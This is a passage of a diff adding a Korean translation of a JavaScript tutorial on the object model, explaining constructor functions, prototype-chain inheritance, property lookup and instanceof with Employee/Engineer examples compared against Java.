+ <li>엔지니어(<code>Engineer</code>)객체도 근로자(<code>WorkerBee</code>) 객체를 근간으로 하며, 빈 문자열을 기본값으로 가지는 장비(<code>machine</code>) 속성을 가집니다.그리고 엔지니어링(engineering)이라는 값으로 부서 속성을 재정의 합니다.</li>
+</ul>
+</div>
+
+<h2 id="계층_구조_생성">계층 구조 생성</h2>
+
+<p>직원 계층 구조를 구현하기 위한 적절한 생성자 함수를 정의하는 방법에는 여러가지가 있습니다. 개발하려고 하는 어플리케이션에 따라 생성자 함수를 정의 하는 방법은 달라질 수 있습니다. </p>
+
+<p>이번 절에서는 상속을 구현하기 위한 간단한 (비교적 유연하지는 않은) 정의 방법을 보여 줄 것입니다. 이런 정의 방법을 사용하게되면, 객체를 생성할 때 어떤 속성 값도 지정을 할 수 없습니다. 새로이 생성된 객체들은 기본값들을 가지고 있으며, 나중에 해당 속성 값들을 변경할 수 있습니다.</p>
+
+<p>실제 어플리케이션에서는, 객체를 생성할때, 해당 객체가 가져야할 속성을 인자로 받는 생성자를 정의 할수 있습니다.(보다 자세한 사항은 다음을 참조하세요. <a href="#More_flexible_constructors">More flexible constructors</a>). 지금 당장은, 상속이 어떻게 작동하는지를 보여주기 위한 간단한 예제를 사용합니다. </p>
+
+<p>다음의 자바와 자바스크립트로 작성된 직원 정의는 비슷합니다. 차이점은 자바언어에서는 개별 속성에 대한 타입(type)을 일일이 지정을 해야 하지만  자바스크립트에서는 일일이 개별 속성에 대한 타입(type)을 지정할 필요가 없다는 것입니다.(이런 이유로 자바스크립트가 약하게 형식화된 언어로 불리는 반면 자바는 <a href="http://en.wikipedia.org/wiki/Strong_and_weak_typing">강력하게 형식화된 언어</a>로 불립니다.)</p>
+
+<table>
+ <tbody>
+ <tr>
+ <td>
+ <h4 id="자바스크립트">자바스크립트</h4>
+
+ <pre class="brush: js">
+function Employee() {
+ this.name = "";
+ this.dept = "general";
+}</pre>
+ </td>
+ <td>
+ <h4 id="자바">자바</h4>
+
+ <pre class="brush: java">
+public class Employee {
+ public String name = "";
+ public String dept = "general";
+}
+</pre>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>관리자와 근로자 정의는 계층 구조상에서 상위에 위치하는 객체를 어떻게 표시하는지에 대한 차이점을 보여 줍니다. 자바스크립트에서는 생성자 함수 정의 이후에 언제든 생성자 함수의 프로토타입(<code>prototype)</code> 속성의 값으로 프로토타입 인스턴스를 추가할 수 있습니다.  자바에서는 클래스 정의에 상위 클래스를 명시해야 합니다. 클래스 정의 이후에는 상위 클래스를 변경할 수 없습니다.</p>
+
+<div class="twocolumns">
+<h4 id="자바스크립트_2">자바스크립트</h4>
+
+<pre class="brush: js">function Manager() {
+ Employee.call(this);
+ this.reports = [];
+}
+Manager.prototype = Object.create(Employee.prototype);
+
+function WorkerBee() {
+ Employee.call(this);
+ this.projects = [];
+}
+WorkerBee.prototype = Object.create(Employee.prototype);
+</pre>
+
+<h4 id="자바_2">자바</h4>
+
+<pre class="brush: java">public class Manager extends Employee {
+ public Employee[] reports = new Employee[0];
+}
+
+
+
+public class WorkerBee extends Employee {
+ public String[] projects = new String[0];
+}
+
+
+</pre>
+</div>
+
+<p>엔지니어와 영업사원 정의들은 객체들을 생성합니다. 생성된 객체는 근로자 객체의 하위 객체이고 따라서 직원 객체의 하위 객체가 됩니다. 상속 관계에 따라 엔지니어와 영업사원 객체들은 근로자와 직원객체의 속성을 가지게 됩니다. 게다가, 상속받은 부서 속성은 엔지니어와 영업사원에서 재정되어 새로운 값을 가지게 됩니다. </p>
+
+<div class="twocolumns">
+<h4 id="자바스크립트_3">자바스크립트</h4>
+
+<pre class="brush: js">function SalesPerson() {
+ WorkerBee.call(this);
+ this.dept = "sales";
+ this.quota = 100;
+}
+SalesPerson.prototype = Object.create(WorkerBee.prototype);
+
+function Engineer() {
+ WorkerBee.call(this);
+ this.dept = "engineering";
+ this.machine = "";
+}
+Engineer.prototype = Object.create(WorkerBee.prototype);
+</pre>
+
+<h4 id="Java">Java</h4>
+
+<pre class="brush: java">public class SalesPerson extends WorkerBee {
+ public double quota;
+ public dept = "sales";
+ public quota = 100.0;
+}
+
+
+public class Engineer extends WorkerBee {
+ public String machine;
+ public dept = "engineering";
+ public machine = "";
+}
+</pre>
+</div>
+
+<p>이런 정의 방법을 통해, 기본값을 가지는 각각의 속성을 포함하는 객체의 인스턴스를 생성할 수 있습니다. 다음 그림은 새로운 객체를 생성하고 새로운 객체에 대한 속성값들을 보여 표시하기 위한 자바스크립트의 정의들을 보여 줍니다.</p>
+
+<div class="note">
+<p><strong>유의사항: </strong>클래스 기반 언어들에서 인스턴스라는 용어는 특정한 기술적 의미를 가지고 있습니다. 이러한 언어들에서,  하나의 인스턴스란 하나의 클래스의 개별적인  실체이며 클래스와는 근본적으로 다릅니다. 자바스크립트에서는 클래스와 인스턴스 간의 차이가 없기 때문에, "인스턴스"가 이런 기술적 의미를 갖지 않습니다. 하지만, 자바스크립트에 대해서 얘기하자면, 비공식적으로 "인스턴스"는 특정한 생성자 함수를 이용하여 생성된 오브젝트를  의미합니다. 그래서 이번 예제에서는 <code><code>jane</code></code>이 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: #eeeeee; font-size: 16px;"> Engineer </span></font>의 인스턴스라고 할 수 있습니다. 이와 유사하게, 부모, 자식, 상위, 하위의 용어들은 자바스크립트에서 공식적인 의미를 갖지 않습니다; 다만 프로토타입 체인 상의 상위 또는 하위 객체를 지칭하기 위해서 비공식적으로 사용할 수 있습니다.</p>
+</div>
+
+<h3 id="간단한_정의로_객체_생성">간단한 정의로 객체 생성</h3>
+
+<div class="twocolumns">
+<h4 id="객체의_계층구조">객체의 계층구조</h4>
+
+<p>오른쪽에 보이는 코드로 생성된 객체의 계층 구조는 아래와 같습니다.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/10412/=figure8.3.png"></p>
+
+<h4 id="개별_객체들">개별 객체들</h4>
+
+<pre class="brush: js">var jim = new Employee;
+// jim.name is ''
+// jim.dept is 'general'
+
+var sally = new Manager;
+// sally.name is ''
+// sally.dept is 'general'
+// sally.reports is []
+
+var mark = new WorkerBee;
+// mark.name is ''
+// mark.dept is 'general'
+// mark.projects is []
+
+var fred = new SalesPerson;
+// fred.name is ''
+// fred.dept is 'sales'
+// fred.projects is []
+// fred.quota is 100
+
+var jane = new Engineer;
+// jane.name is ''
+// jane.dept is 'engineering'
+// jane.projects is []
+// jane.machine is ''
+</pre>
+</div>
+
+<h2 id="객체_속성들">객체 속성들</h2>
+
+<p>이번 장에서는 객체가 프로토타입체인 상의 다른 객체로부터 특성을 상속받는 방법과 런타임 상에서 프로퍼티를 추가하면 무슨 일이 일어나는 지 살펴봅니다.</p>
+
+<h3 id="속성_상속">속성 상속</h3>
+
+<p>아래 구문처럼 <code>WorkerBee</code> 생성자로 <code>mark</code> 객체를 생성했다고 가정합니다.</p>
+
+<pre class="brush: js">var mark = new WorkerBee;
+</pre>
+
+<p>new 연산자를 만나면, 자바스크립트는 새로운 일반 객체를 생성하고 암묵적으로 내부의 [[Prototype]](<code>__proto__</code>) 속성의 값을 <code>WorkerBee.prototype</code> 의 값으로 할당하며, 해당 객체를 <code>this</code> 키워드의 값으로써 생성자 함수 <code>WorkerBee</code>에 전달합니다. 내부의 [[Prototype]] 속성은 속성값을 반환하기 위해 사용할 프로토타입 체인을 결정합니다. 이런 속성들이 할당되면, 자바스크립트는 새 객체를 반환하고, 할당 구문에 의해 변수 <code>mark</code>를 객체에 할당합니다.</p>
+
+<p>이러한 절차는 <code>mark</code>가 프로토타입 체인으로부터 상속받는  속성의 값을 <code>mark</code> 객체 내부에(local values) 명시적으로 부여하진 않습니다. 당신이 속성의 값을 요청하면, 자바스크립트는 먼저 해당 객체에 값이 존재하는지 확인합니다. 존재한다면, 해당 값이 반환됩니다. 만약 해당 객체에 값이 없다면, 프로토타입 체인을 (내장 [[Prototype]] 속성;<code>__proto__</code>을 이용하여)확인합니다. 체인 상의 어떤 객체가 해당 속성의 값을 가지고 있다면 그 값이 반환됩니다. 그런 속성이 발견되지 않는다면, 자바스크립트는 객체가 속성을 가지고있지 않다고 할 것입니다. 이런 식으로, <code>mark</code> 객체는 다음의 속성과 값을 가집니다.</p>
+
+<pre class="brush: js">mark.name = "";
+mark.dept = "general";
+mark.projects = [];</pre>
+
+<p><code>mark</code> 객체는 <code>mark.__proto__</code>로 연결되어 있는 원형의 객체로부터 이름(<code>name</code>)과 부서(<code>dept</code>)에 대한 값을 상속 받습니다. 근로자(<code>WorkerBee</code>) 생성자로부터 <code>projects</code>속성에 대한 값을 할당을 받습니다.이것들이 자바스크립트내에서 속성과 속성 값의 상속입니다. 이런 과정의 몇몇 세부 사항들은 <a href="#Property_inheritance_revisited">Property inheritance revisited</a>에서 다룹니다. </p>
+
+<p>이런 생성자들은 당신이 직접 인스턴스에만 해당 하는 값을 설정하도록 하지 않기때문에, 객체에 대한 이런 정보들은 일반적으로 적용됩니다. 근로자(<code>WorkerBee</code>)로부터 생성된 모든 새로운 객체들은 기본값이 적용된 속성 값들을 가지게 됩니다. 물론, 속성 값들을 변경할 수 있습니다. 아래처럼 특정 인스턴스에만 해당하는 값을 설정할 수 있습니다. </p>
+
+<pre class="brush: js">mark.name = "Doe, Mark";
+mark.dept = "admin";
+mark.projects = ["navigator"];</pre>
+
+<h3 id="속성_추가">속성 추가</h3>
+
+<p>자바스크립트에선, 실행 시점에 특정 객체에 속성들을 추가 할 수 있습니다.생성자 함수가 제공하는 속성외에 다른 속성을 추가할 수 있습니다. 특정 단일 객체에 속성을 추가하기 위해선, 다음과 같이 해당 객체에 값을 할당 하면 됩니다:</p>
+
+<pre class="brush: js">mark.bonus = 3000;
+</pre>
+
+<p>이렇게 하면 <code>mark</code>객체는 보너스(<code>bonus</code>)속성을 가지게 됩니다. 하지만 mark객체를 제외한 나머지 근로자<code>(WorkerBee)</code>객체들은 보너스 속성을 가지지 않습니다. </p>
+
+<p>만약 생성자 함수의 원형으로 사용되는 객체에 새로운 속성을 추가한다면,  해당 프로토타입 객체(prototype)의 속성을 상속받는 모든 객체에 해당 속성이 추가됩니다. 예를 들면, 전문분야(<code>specialty</code>)속성을 모든 직원 객체에 다음과 같은 구문으로 추가할 수 있습니다:</p>
+
+<pre class="brush: js">Employee.prototype.specialty = "none";
+</pre>
+
+<p>위의 구문을 실행한 직후, <code>mark</code>객체는 <code>"none"</code>이라는 값을 가지는 전문분야<code>(specialty)</code>속성을 가지게 됩니다.아래의 그림들은 해당 속성을 추가한 후 엔지니어<code>(Engineer)</code> 프로토타입에 대해 해당 속성을 재정의 했을 경우 각 객체에 미치는 영향을 보여줍니다.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4422/=figure8.4.png" style="height: 519px; width: 833px;"><br>
+ <span style="font-size: 12px; line-height: 17px;"><strong>속성의 추가</strong></span></p>
+
+<h2 id="좀_더_유연한_생성자들">좀 더 유연한 생성자들</h2>
+
+<p>지금까지 살펴 본 생성자 함수들은 인스턴스를 생성하면서 동시에 속성값을 지정할 수 없었습니다. 자바의 경우, 인스턴스를 생성 시 생성자에 인자들을 넘겨주어 인스턴스의 속성들을 초기화 할 수 있습니다. 다음의 예제 그림들은 자바처럼 인스턴스 생성 시 속성값을 설정하는 방법을 보여줍니다.</p>
+
+<p><img alt="" class="internal" id="figure8.5" src="/@api/deki/files/4423/=figure8.5.png" style="height: 481px; width: 1012px;"><br>
+ <small><strong>Specifying properties in a constructor, take 1</strong></small></p>
+
+<p>다음의 표는 자바와 자바스크립트 각각의 생성자와 객체에 대한 정의를 보여 줍니다. </p>
+
+<div class="twocolumns">
+<h4 id="자바스크립트_4">자바스크립트</h4>
+
+<h4 id="자바_3">자바</h4>
+</div>
+
+<div class="twocolumns">
+<pre class="brush: js">function Employee (name, dept) {
+ this.name = name || "";
+ this.dept = dept || "general";
+}
+</pre>
+
+<pre class="brush: java">public class Employee {
+ public String name;
+ public String dept;
+ public Employee () {
+ this("", "general");
+ }
+ public Employee (String name) {
+ this(name, "general");
+ }
+ public Employee (String name, String dept) {
+ this.name = name;
+ this.dept = dept;
+ }
+}
+</pre>
+</div>
+
+<div class="twocolumns">
+<pre class="brush: js">function WorkerBee (projs) {
+
+ this.projects = projs || [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+
+<pre class="brush: java">public class WorkerBee extends Employee {
+ public String[] projects;
+ public WorkerBee () {
+ this(new String[0]);
+ }
+ public WorkerBee (String[] projs) {
+ projects = projs;
+ }
+}
+</pre>
+</div>
+
+<div class="twocolumns">
+<pre class="brush: js">
+function Engineer (mach) {
+ this.dept = "engineering";
+ this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+</pre>
+
+<pre class="brush: java">public class Engineer extends WorkerBee {
+ public String machine;
+ public Engineer () {
+ dept = "engineering";
+ machine = "";
+ }
+ public Engineer (String mach) {
+ dept = "engineering";
+ machine = mach;
+ }
+}
+</pre>
+</div>
+
+<p>자바스크립트의 속성값을 설정하는 방법은 기본값을 설정하기 위한 관용구를 사용합니다.</p>
+
+<pre class="brush: js">this.name = name || "";
+</pre>
+
+<p>자바스크립트의 OR 논리 연산자(<code>||</code>) 첫번째 인자를 평가합니다. 첫번째 인자가 참이면 첫번째 인자를 반환하고 그렇지 않은 경우는 두번째 인자를 반환합니다. 그러므로, 위의 코드는 <code>name</code>인자가 <code>name</code> 속성에 사용 가능한 값을 가지고 있는지 확인합니다. 확인 결과 <code>name</code>속성에 사용가능한 값을 가지고 있을 경우, 해당 값을 <code>this.name</code>에 설정하게 됩니다. 반대로 그렇지 않은 경우는 빈 문자열을 <code>this.name</code>에 설정합니다.얼핏 보면 헛갈리지만 보다 짧은 관용구를 사용하였습니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> 만약 인자로 false와 빈 문자열 값을 줄 경우 해당 구문은 예상한 대로 작동하지 않을 수 있습니다.</p>
+</div>
+
+<p>이런 정의들을 가지고, 객체의 인스턴스를 생성할때, 객체 자신만의 속성에 대한 값을 지정할 수 있습니다. 새로운 <code>Engineer</code>를 생성하기 위해서 다음과 같은 구문을 사용할 수 있습니다:</p>
+
+<pre class="brush: js">var jane = new Engineer("belau");
+</pre>
+
+<p><code>Jane</code>의 속성들은 다음과 같습니다:</p>
+
+<pre class="brush: js">jane.name == "";
+jane.dept == "engineering";
+jane.projects == [];
+jane.machine == "belau"
+</pre>
+
+<p>위와 같은 코드 구문으로는 <code>name</code>과 같이 상속받은 속성에 대한 초기값을 지정할 수 없습니다.만약 상속 받은 속성의 초기값을 설정하고자 한다면, 생성자 함수의 코드를 변경해야 합니다.</p>
+
+<p>지금까지, 원형 객체를 생성한 후, 그 새로운 객체 자신의 속성과 속성 값을 지정하는 것을 살펴 보았습니다. 프로토타입 체인상에서 해당 생성자가 상위 객체에 대한 생성자를 직접 호출 함으로써 더 많은 속성을 추가하도록 할 수 있습니다. 다음의 그림은 새로운 정의 방법을 보여 줍니다.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4430/=figure8.6.png" style="height: 534px; width: 1063px;"><br>
+ <small><strong>생성자내에서 속성들 정의, 그림 2</strong></small></p>
+
+<p>그럼 좀 더 상세하게 생성자 내에서 속성들을 정의하는 것을 살펴 보겠습니다. 다음은 엔지니어(<code>Engineer)</code> 생성자의 새로운 정의입니다:</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+ this.base = WorkerBee;
+ this.base(name, "engineering", projs);
+ this.machine = mach || "";
+}
+</pre>
+
+<p>다음과 같이 새로운 엔지니어(<code>Engineer)</code>객체를 생성할 수 있습니다:</p>
+
+<pre class="brush: js">var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+</pre>
+
+<p>다음과 같은 순서에 따라 객체를 생성하고 속성을 정의하게 됩니다:</p>
+
+<ol>
+ <li><code>new</code> 연산자는 프로토타입 객체를 생성하고 생성된 객체의 <code>__proto__</code>속성을 <code>Engineer.prototype</code>으로 설정합니다.</li>
+ <li><code>new</code> 연산자는 새로이 생성된 객체를 엔지니어<code>(Engineer)</code>생성자에 this 키워드의 값으로 전달합니다.</li>
+ <li>생성자는 생성한 객체에 대한 <code>base</code>라는 새로운 속성을 생성하고 근로자<code>(WorkerBee)</code> 생성자의 값을 base 속성에 할당합니다. 이런 과정은 근로자<code>(WorkerBee)</code> 생성자를 엔지니어<code>(Engineer)</code>객체의 메서드로 만듭니다. <code>base</code> 속성의 이름은 그리 특별하지 않습니다. 다른 어떤 속성명을 사용해도 무방합니다. <code>base</code> 속성명은 단지 해당 속성의 목적을 환기시키기 위한 것입니다.</li>
+ <li>
+ <p>생성자는 <code>base</code> 메서드에 필요한 인자들 (<code>"Doe, Jane"</code> and <code>["navigator", "javascript"]</code>)을 주어 호출합니다.명시적으로 생성자에서 사용한 <code>"engineering"</code>은 모든 엔지니어<code>(Engineer)</code>객체들이 상속받은 부서 속성에 대한 동일한 값을 가지며, 직원<code>(Employee)</code>으로부터 상속받은 값을 재정의 하는 것을 나타냅니다.</p>
+ </li>
+ <li><code>base</code>가 엔지니어<code>(Engineer)</code>의 메서드이기때문에 <code>base</code>메서드 내에서 <code>this</code>키워드를 스텝1에서 생성한 객체를 지칭하도록 해줍니다. 따라서, 근로자<code>(WorkerBee)</code> 함수는 차례대로 <code>"Doe, Jane"</code>과 <code>"engineering"</code> 인자를 직원<code>(Employee)</code>생성자에 전달합니다. 직원<code>(Employee)</code>생성자로부터 반환 시, 근로자<code>(WorkerBee)</code>함수는 남은 인자들을 프로젝트<code>(projects)</code>속성을 설정하기 위해 사용합니다. </li>
+ <li><code>base</code>메서드로부터 반환 시, 엔지니어<code>(Engineer)</code> 생성자는 해당 객체의 장비<code>(machine)</code>속성을 "belau"로 초기화 합니다.</li>
+ <li>생성자로부터 반환 시, 새롭게 생성된 객체를 <code>jane</code>변수에 할당 합니다.</li>
+</ol>
+
+<p>엔지니어(<code>Engineer</code>) 생성자내에서 근로자(<code>WorkerBee</code>)생성자를 호출하면, 엔지니어(<code>Engineer</code>)에 대한 상송을 적절하게 설정할 수 도 있을 것이라고 생각할 수 있을 것입니다.하지만 그렇지 않습니다. 근로자(<code>WorkerBee</code>)생성자를 호출하는 것은 엔지니어<code>(Engineer)</code>객체로 하여금 호출되는 모든 생성자 함수내에서 열거된 속성들을 가지고도록 보장합니다.그러나, 나중에 직원<code>(Employee)</code>혹은 근로자<code>(WorkerBee)</code> 원형에 속성을 추가한다면, 엔지니어<code>(Engineer)</code>객체에 의해 추가된 속성들은 상속이 되지 않습니다. 예를 들어, 아래와 같은 구문을 작성하였다고 가정합니다:</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+ this.base = WorkerBee;
+ this.base(name, "engineering", projs);
+ this.machine = mach || "";
+}
+var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+Employee.prototype.specialty = "none";
+</pre>
+
+<p><code>jane</code>객체는 전문분야<code>(specialty)</code>속성을 상속받지 않습니다.</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+ this.base = WorkerBee;
+ this.base(name, "engineering", projs);
+ this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+Employee.prototype.specialty = "none";
+</pre>
+
+<p>이제 <code>jane</code>객체의 전문분야<code>(specialty)</code>속성은 "none"이 되었습니다.</p>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="en-US/docs/JavaScript/Reference/Global Objects/Function/call">call()</a></code> 혹은 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="en-US/docs/JavaScript/Reference/Global Objects/Function/apply">apply()</a></code> 메서드를 사용는 것은 상속을 구현하는 또 다른 방법입니다. 다음의 두 예제는 동일한 결과를 보여줍니다. </p>
+
+<div class="twocolumns">
+<pre class="brush: js">function Engineer (name, projs, mach) {
+ this.base = WorkerBee;
+ this.base(name, "engineering", projs);
+ this.machine = mach || "";
+}
+</pre>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+ WorkerBee.call(this, name, "engineering", projs);
+ this.machine = mach || "";
+}
+</pre>
+</div>
+
+<p><code>base</code>를 사용하지 않고 구현을 하기 때문에, <code>call()</code> 메서드를 사용하여 상속을 구현하는 것이 보다 깔끔합니다.</p>
+
+<h2 id="속성_상속의_재고">속성 상속의 재고</h2>
+
+<p>이전 절에서 자바스크립트의 생성자와 원형(prototype)이 어떤 방식으로 상속과 객체의 계층 구조를 제공하는지를 살펴 보았습니다. 이번장에서는 이전 절에서 반드시 명백하게 짚고 넘어가지 않은 일부 미묘한 점들에 대해 살펴보겠습니다.</p>
+
+<h3 id="객체_자신의_값과_상속받은_값">객체 자신의 값과 상속받은 값</h3>
+
+<p>이번 장에서 이미 설명된 것 처럼, 객체의 속성에 접근할 때, 자바스크립트는 아래와 같은 절차를 따릅니다.</p>
+
+<ol>
+ <li>해당 속성에 대한 객체 자신의 값이 있는지 확인하고 있으면 그 값을 반환한다.</li>
+ <li>객체 자신의 값이 없으면 <code>__proto__</code> 속성을 사용하여 프로토타입 체인을 확인한다.</li>
+ <li>프로토타입 체인상의 특정 객체가 해당 속성에 대한 값을 가지고 있다면 해당 객체의 값을 반환한다.</li>
+ <li>해당 속성을 가진 어떤 객체도 발견하지 못하면 해당 객체는 그 속성을 가지고 있지 않은 것으로 판단한다.</li>
+</ol>
+
+<p>이런 단계들의 결과는 생성자 및 프로토타입 체인등의 것들을 어떻게 정의 하느냐에 따라 달라집니다. 아래와 같은 원래의 예제는 이런 정의들을 가지고 있습니다:</p>
+
+<pre class="brush: js">function Employee () {
+ this.name = "";
+ this.dept = "general";
+}
+
+function WorkerBee () {
+ this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+
+<p>이런 정의들을 가지고, <code>amy</code>라는 근로자<code>(WorkerBee)</code>인스턴스를 아래와 같이 생성하였다고 가정합니다.</p>
+
+<pre class="brush: js">var amy = new WorkerBee;
+</pre>
+
+<p><code>amy</code>객체는 프로젝트라는 자신만의 속성을 가집니다.이름과 부서 속성들은 <code>amy</code> 자신의 속성이 아닌 <code>amy</code>객체의 <code>__proto__</code>속성을 통해 가지고 온 속성들입니다. 따라서 <code>amy</code>는 이런 속성들의 값을 가지게 됩니다.</p>
+
+<pre class="brush: js">amy.name == "";
+amy.dept == "general";
+amy.projects == [];
+</pre>
+
+<p>직원(<code>Employee)</code>과 연관되어 있는 프로토타입내의 이름 속성의 값을 아래와 같이 변경하였다고 가정합니다.</p>
+
+<pre class="brush: js">Employee.prototype.name = "Unknown"
+</pre>
+
+<p>얼핏보기에, 새로운 값이 모든 직원 인스턴스에 적용이 될것으로 예상하겠지만 그렇지 않습니다. </p>
+
+<p>직원 객체의 인스턴스를 생성할때, 해당 인스턴스는 이름 속성에 대해 자신이 가지고 있는 값(빈 문자열)을 취하게 됩니다.이것이 의미하는 것은 새로운 직원 객체를 생성하여 근로자(<code>WorkerBee)</code>의 프로토타입에 설정을 할때, <code>WorkerBee.prototype</code>이 이름 속성에 대한 자신만의 값을 가지고 있다는 것입니다.그러므로, <code>amy</code>객체(근로자 인스턴스)의 이름 속성에 대해 검색할때, <code>WorkerBee.prototype</code>내에서 이름 속성에 대한 <code>amy</code> 객체 자신의 값을 찾게됩니다. 그렇기때문에 <code>Employee.prototype</code>까지의 프로토타입 체인을 검색하지 않게 됩니다.</p>
+
+<p>실행시에 객체의 속성 값을 변경하고 새로운 값이 모든 하위 객체들에게도 적용되도록 할려면, 객체의 생성자함수에서는 속성을 정의할 수 없습니다. 대신에, 생성자와 연결된 프로토타입에 추가할 수 있습니다. 예를 들어, 이전의 코드를 아래와 같이 변경하였다고 가정합니다:</p>
+
+<pre class="brush: js">function Employee () {
+ this.dept = "general";
+}
+Employee.prototype.name = "";
+
+function WorkerBee () {
+ this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+
+var amy = new WorkerBee;
+
+Employee.prototype.name = "Unknown";
+</pre>
+
+<p>이 경우 <code>amy</code> 객체의 이름 속성의 값은 "Unknown"이 됩니다.</p>
+
+<p>위의 예제에서처럼, 객체 생성 시에 객체의 속성에 대한 기본 값을 설정하고 실행 시에 해당 속성의 값을 변경하기를 원한다면, 해당 속성들을 생성자 함수 자체안에가 아닌 생성자의 프로토타입에 설정 하여야 합니다.</p>
+
+<h3 id="인스턴스_관계_결정">인스턴스 관계 결정</h3>
+
+<p>자바스크립트에서의 속성 검색은 객체 자신의 속성들을 먼저 살펴보고 해당 속성명을 찾지 못할 경우, 객체의 특별한 속성인 <code>__proto__</code>내에서 찾게 됩니다. 이런 검색은 재귀적으로 진행되며, 이런 과정을 "프로토타입 체인에서의 검색"이라고 합니다.</p>
+
+<p>특별한 속성인 <code>__proto__</code>객체가 생성이 될때 설정이 됩니다.<code> __proto__</code>속성은 생성자의 프로토타입 속성의 값으로 설정이 됩니다. 따라서 <code>new Foo()</code> 표현식은 <code>__proto__ == <code class="moz-txt-verticalline">Foo.prototype</code></code><code class="moz-txt-verticalline">인 </code>객체를 생성합니다. 결과적으로 <code class="moz-txt-verticalline">Foo.prototype</code><code class="moz-txt-verticalline">의 속성들에 대한 변경은 </code><code>new Foo()</code> 표현식으로 생성한 모든 객체에 대한 속성 검색을 변경하게 됩니다.</p>
+
+<p>모든 객체는 <code>__proto__</code>라는 객체 속성을 가집니다.(예외: <code>Object</code>). 모든 함수들은 <code>prototype</code>이라는 객체 속성을 가집니다. 따라서 객체들은 '프로토타입 상속'에 의해 다른 객체들과의 관계를 가지게 됩니다.객체의 <code>__proto__</code>속성과 함수의 <code>prototype </code>객체를 비교하여 상속을 테스트 해볼 수 있습니다. 자바스크립트는 특정 객체가 함수 <code>prototype</code>으로부터 상속 받는 객체일 경우 참<code>(true)</code>를 반환하는  <code>instanceof</code>라는 연산자를 제공합니다. 예를 들면,</p>
+
+<pre class="brush: js">var f = new Foo();
+var isTrue = (f instanceof Foo);</pre>
+
+<p><a href="#Inheriting_properties">Inheriting properties</a>에 나오는 예제와 동일한 정의들을 작성해 놓았을 경우, 보다 상세한 예제는 아래와 같습니다.엔지니어(<code>Engineer)</code>객체를 아래와 같이 생성합니다:</p>
+
+<pre class="brush: js">var chris = new Engineer("Pigman, Chris", ["jsd"], "fiji");
+</pre>
+
+<p>생성된 객체를 가지고 아래와 같은 구문을 실행할 경우 각 구문에 대한 결과는 모두 참(true)입니다.</p>
+
+<pre class="brush: js">chris.__proto__ == Engineer.prototype;
+chris.__proto__.__proto__ == WorkerBee.prototype;
+chris.__proto__.__proto__.__proto__ == Employee.prototype;
+chris.__proto__.__proto__.__proto__.__proto__ == Object.prototype;
+chris.__proto__.__proto__.__proto__.__proto__.__proto__ == null;
+</pre>
+
+<p>주어진 이런 상황에서, <code>instanceOf</code>를 다음과 같이 <font face="Consolas, Liberation Mono, Courier, monospace">직접 작성할 수 있을 것입니다:</font></p>
+
+<pre class="brush: js">function instanceOf(object, constructor) {
+ object = object.__proto__;
+ while (object != null) {
+ if (object == constructor.prototype)
+ return true;
+ if (typeof object == 'xml') {
+ return constructor.prototype == XML.prototype;
+ }
+ object = object.__proto__;
+ }
+ return false;
+}
+</pre>
+
+<div class="note">
+<p><strong>주의: </strong>위의 구현내용은 최신 버전의 자바스크립트에서 XML객체들이 표현되는 방법의 특질을 해결하기 위해 해당 객체의 타입이 "xml"인지 확인합니다. 핵심적인 세부 사항을 확인하려면 {{ bug(634150) }}를 참조하세요.</p>
+</div>
+
+<p>위의 instanceOf함수를 사용하면 아래의 표현들은 모두 참(true)입니다:</p>
+
+<pre class="brush: js">instanceOf (chris, Engineer)
+instanceOf (chris, WorkerBee)
+instanceOf (chris, Employee)
+instanceOf (chris, Object)
+</pre>
+
+<p>하지만 아래의 표현식은 거짓(false)가 됩니다:</p>
+
+<pre class="brush: js">instanceOf (chris, SalesPerson)
+</pre>
+
+<h3 id="생성자내에서의_전역_정보">생성자내에서의 전역 정보</h3>
+
+<p>생성자를 생성할때, 생성자내에서 전역 정보를 설정할 경우, 주의를 해야 합니다. 예를 들어, 각각의 새로운 직원에게 자동으로 고유한 ID값을 할당하기를 원한다고 했을 때, 다음과 같은 직원(<code>Employee</code>) 정의를 사용할 수 있을 것입니다:</p>
+
+<pre class="brush: js">var idCounter = 1;
+
+function Employee (name, dept) {
+ this.name = name || "";
+ this.dept = dept || "general";
+ this.id = idCounter++;
+}
+</pre>
+
+<p>이런 정의 내용을 가지고, 새로운 직원을 생성했을 때, 생성자는 다음의 고유한 ID값을 새로운 직원객체에 할당하고 전역 ID 카운터를 증가 시킵니다. 따라서 다음과 같은 구문으로 각각의 객체를 생성한다면, 결과는 <code>victoria.id</code>는 1 그리고 <code>harry.id</code>는 2가 됩니다:</p>
+
+<pre class="brush: js">var victoria = new Employee("Pigbert, Victoria", "pubs")
+var harry = new Employee("Tschopik, Harry", "sales")
+</pre>
+
+<p>얼핏보면 괜찮아 보입니다. 하지만 이유를 불문하고 직원 객체가 생성될때마다 <code>idCounter</code>는 증가분을 가지게 됩니다.이번장에서 나온 예제에서처럼 전체 직원<code>(Employee)</code> 객체의 계층 구조를 생성하였다면, 프로토타입을 설정할때마다 직원 생성자는 매번 호출 됩니다.다음과 같은 코드를 작성하였다고 가정합니다:</p>
+
+<pre class="brush: js">var idCounter = 1;
+
+function Employee (name, dept) {
+ this.name = name || "";
+ this.dept = dept || "general";
+ this.id = idCounter++;
+}
+
+function Manager (name, dept, reports) {...}
+Manager.prototype = new Employee;
+
+function WorkerBee (name, dept, projs) {...}
+WorkerBee.prototype = new Employee;
+
+function Engineer (name, projs, mach) {...}
+Engineer.prototype = new WorkerBee;
+
